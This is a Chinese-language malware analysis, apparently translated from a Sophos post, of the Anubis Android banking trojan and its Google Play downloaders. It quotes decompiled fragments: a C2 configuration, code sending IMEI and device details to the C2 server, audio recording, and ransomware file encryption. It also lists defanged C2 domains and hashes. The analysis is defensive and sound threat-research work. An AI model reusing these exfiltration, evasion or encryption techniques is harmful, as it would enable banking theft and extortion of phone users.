Android研究人員稱, Anubis是一種以土耳其用戶為主要目標,竊取憑證的惡意軟件。在過去的幾個月中,該惡意軟件家族已經成功滲透到谷歌應用商店。
應用開發者經常將他們的木馬偽裝成金融服務,汽車應用或購物程序,但實際上,它起到了下載器的作用。一旦激活,Anubis將獲取payload,該payload可竊取銀行憑證并向僵尸網絡控制者提供受感染設備的遠程控制權。
在首次發現Anubis之后,谷歌對應用商店進行了清理,但沒過多久,新的Anubis下載程序再次出現在應用商店中。
這個惡意軟件家族的持久性值得我們對它的功能進行更深入的研究。
這篇文章不是介紹古埃及的死神阿努比斯,Anubis是一種銀行木馬和僵尸網絡。源自于我們今年早些時候提到過的Maza-in銀行木馬源碼泄露。
它們沒有被嵌入任何有效payload,所以在谷歌應用商店內均顯示為無害的應用程序。
這些應用將作為下載器:成功安裝后,將連接C2服務器下載payload。
對谷歌應用商店來說,隨著數以百萬計的應用從網上下載內容,很難通過安全掃描服務完全了解應用下載了哪些內容
因此,惡意的下載器在進入應用商店市看起來是干凈無害的,但在成功安裝和激活之后,等待一段時間,它們會自動下載并激活payload,惡意軟件開發者使用這種簡單但惡毒的技巧欺騙谷歌應用商店的防御機制,我們在之前看到過惡意軟件作者成功的使用這種延遲策略來繞過檢測,在谷歌不采取應對措施之前,他們將繼續沿用這種手法。
Anubis的第一層是下載器代碼,咋一看,它很干凈,沒有做任何混淆,以便繞過谷歌應用商店的防御機制,從而成功發布。
一旦安裝,下載器將收集設備信息,向C2服務器發送信號,并下載更多其他應用。
在接下來的代碼中,你可以看到對C2服務器的引用以及惡意軟件的數據配置。
public static final boolean REPEAT_ADMIN_REQUEST_AFTER_DISABLE = true;
public static List SERVERS = null;
public static int SERVER_TRY_COUNT = 0;
public static final long START_INSTALL_INTERVAL = 20000;
public static final long TASKS_CHECK_INTERVAL = 60000;
static {
Config.LOGS_DIR = "";
Config.DOWNLOADS_DIR = new File(Environment.getExternalStorageDirectory(), Rows.downloads);
Config.SERVERS = Arrays.asList(new String[]{"http://bluetek1com/gate.php"});
Config.SERVER_TRY_COUNT = 5;
}
惡意軟件收集的信息包括IMEI,OS版本,設備名,root狀態等參數。
((Map)v3).put(Rows.api_req, "1");
((Map)v3).put(Rows.api_imei, Utils.getImei(arg6));
((Map)v3).put(Rows.api_uniqnum, arg7.getId());
((Map)v3).put(Rows.api_model, Build.MODEL);
String v4 = Rows.api_root;
String v1 = Utils.isRootAvailable() ? "1" : "2";
((Map)v3).put(v4, v1);
((Map)v3).put(Rows.api_country, ((TelephonyManager)v0_1).getNetworkCountryIso());
((Map)v3).put(Rows.api_osver, Build$VERSION.RELEASE);
v2.postAdd(Utils.getPostBody(((Map)v3)));
關鍵字符串通過混淆來隱藏,下面是混淆字符串的示例:
"D**pE2****pE2****pE2**i**pE2****pE2****pE2**s**pE2****pE2**a[REMOVED]"
去混淆后的字符串如下:
"Disabling this option can BREAK your system. Are you sure?"
正如前面所提到的,丟棄的payload正是Anubis銀行木馬自身。
一旦運行,payload彈出Android輔助功能請求訪問權限,偽裝成Google Play Protect請求。
輔助功能為惡意軟件提供了額外的功能,可以模擬屏幕按鈕的點擊,獲得某些事件的回調,構造參數去竊取用戶數據。
和下載器不同,木馬源代碼經過混淆,很難分析。
執行時,將隱藏快捷方式圖標。然后,payload在運行中被丟棄,并加載另一個JAR文件,接下來,它將在后臺等待進一步操作。
除了銀行惡意軟件之外,Anubis還有附加的功能:
這是一段錄音功能代碼:
MediaRecorder v6 = new MediaRecorder();
this.c.a("SOUND", "START RECORD SOUND");
this.b = false;
v6.setAudioSource(1);
v6.setOutputFormat(3);
v6.setAudioEncoder(1);
v6.setOutputFile(arg11);
Thread v7 = new Thread(new Runnable(arg12, v6, arg11, arg10) {
public void run() {
StringBuilder v3;
String v2;
c v1_2;
try {
Thread.sleep(((long)(this.a * 1000)));
}
catch(Throwable v1) {
this.e.c.a("SOUND", "STOP RECORD SOUND");
內置的勒索軟件組件將加密用戶的文件,并為其加上.Anubiscrypt的文件擴展名。要知道,它運行在手機上,相比筆記本電腦和臺式機,人們很少備份手機數據,但在手機中,更可能存有私人照片或其他有價值的數據。下面是一段勒索組件代碼:
else if(!v2.getPath().contains(".AnubisCrypt")) {
v3 = this.a.a(v3, this.c);
StringBuilder v6 = new StringBuilder();
v6.append(v2.getPath());
v6.append(".AnubisCrypt");
v4 = new FileOutputStream(v6.toString(), true);
v4.write(v3);
if(this.b.equals("crypt")) {
v7_1 = this.a;
v1_1 = new StringBuilder();
v1_1.append("p=");
v2_1 = this.a;
v3 = new StringBuilder();
v3.append(this.a.q(((Context)this)));
v3.append("|The Cryptor is activated, the file system is encrypted by key: ");
v3.append(this.c);
v3.append("|");
v1_1.append(v2_1.c(v3.toString()));
v7_1.b(((Context)this), "4", v1_1.toString());
v7_1 = this.a;
v0_1 = "cryptfile";
v1_2 = "true";
下載程序向C2服務器返回數據,包含手機的root狀態,IMEI,設備型號和其他參數。
{
"root":"1",
"country":"gb",
"os ver":"5.0",
"uniqnum":"15b76e7d-e1a1-4f3a-8603-5f4b8041bd64",
“imei":"123442323",
"req" :"1",
"model":"Nexus 5"
}:
有趣的是,這個木馬有依賴Twitter來備份C2的趨勢,這種行為和Red alert銀行木馬相似
下面的示例演示了一個twitter句柄如何包含base64編碼的數據,并附帶zero
標記:
加密數據解密后是一個備份C2地址
http://erhgefhsdfsdg<dot>com
C2為惡意軟件提供了一個虛假的網上銀行登錄窗口,如下圖所示:
Anubis惡意軟件和不同的C2服務器進行通信,其中一些服務器公開了目錄結構。通過這些公開目錄,我們發現了超過700個惡意安卓應用程序,準備公之于眾:
在C2管理面板,公開了有關此惡意軟件受害者的詳細信息。
僅在這一個服務器中,就有超過2600名受害者的信息被收集,受害者向服務器匯報信息。服務器接受惡意軟件從受害者那里收集的root狀態,IMEI,國家,連接狀態等信息。
Anubis木馬針對70多種不同的銀行應用程序,這些應用程序是與Santander,Natwest,RBS和Citibank等銀行建立的網上銀行業務。
最重要的是,惡意軟件還將PayPal,eBay,Amazon等非銀行應用作為目標。
鑒于已證明Anubis具有持久性,它會持續活動,不會很快消失。
一些Anubis應用已經被谷歌應用商店移除,這種做法是把雙刃劍。一方面,谷歌需要進行定位,移除,與惡意軟件做艱難的斗爭。
另一方面,這些惡意軟件將卷土重來,每次使用不同的技術來繞過谷歌應用商店的防御,不斷的發布。
在一定延遲后下載payload的技巧具有很驚人的適應性。
為了降低被感染的幾率,用戶應該安裝那些口碑良好的開發者所開發的應用。
我們會持續跟蹤Anubis的活動,來確保使用Sophos手機衛士的用戶不會被感染。
Sophos檢測到Anubis下載器為Andr / Banker-GWQ,payload本身為 Andr / Banker-GUZ和Andr / Banker-GTN。
bluetek1<dot>com
junilogart8<dot>info
redtek0<dot>com
074ae028bd3204a7e7e7a510ad0f88c49cb780fa07e91944f111af146c39c91c
5a6f9ac189dc65dad3744005644a251f73ff2a8022a70431bf90945fc7da021b